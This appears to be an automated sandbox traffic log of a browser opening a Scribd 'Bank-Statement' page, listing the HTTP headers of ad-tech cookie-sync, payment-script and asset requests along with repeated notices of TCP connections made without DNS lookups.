Source: global traffic	HTTP traffic detected: GET /match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU302a4b7576414cc88aa10a5032312696 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=19&google_error=3&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?p=vidazoo&endpoint=us-east HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /i/ck/vidazoo?cid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114&redir=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Diqm%26gdpr%3D%24%7Buser.gdpr%7D%26gdpr_consent%3D%24%7Buser.consentStr%7D%26us_privacy%3D%24%7Buser.usPrivacy%7D%26userId%3D%7BIQM_COOKIE%7D HTTP/1.1Host: pxl.iqm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /6 HTTP/1.1Host: m.stripe.comConnection: keep-aliveContent-Length: 3420sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://m.stripe.networkSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://m.stripe.network/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=iqm&gdpr=${user.gdpr}&gdpr_consent=${user.consentStr}&us_privacy=${user.usPrivacy}&userId=5aed0191-7bc3-46c9-bbf2-034d9ddce633 HTTP/1.1Host: sync.cootlogix.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N1
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS / HTTP/1.1Host: tattle.api.osano.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 34.96.67.224
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.66.57
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.217

Source: global traffic	HTTP traffic detected: GET /document/806838445/Bank-Statement HTTP/1.1Host: www.scribd.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/monolith/8260.0186aa9e3e0089f26ff6.css HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/assets/fonts/source_sans_pro/regular/source_sans_pro_regular.latin.e8ecbdac.woff2 HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/assets/fonts/source_sans_pro/semibold/source_sans_pro_600.latin.76017e81.woff2 HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AzZdHGSGtpxCq1Cpt/4e10b135-d113-4574-a477-270ace40bba7/osano.js?language=en HTTP/1.1Host: cmp.osano.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v3/ HTTP/1.1Host: js.stripe.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/1-b5a377eed6.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0002.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0004.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0003.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0006.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0008.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/2-9725faf5fd.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/3-4383b92e84.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/pages/4-fb0a36a95f.jsonp HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
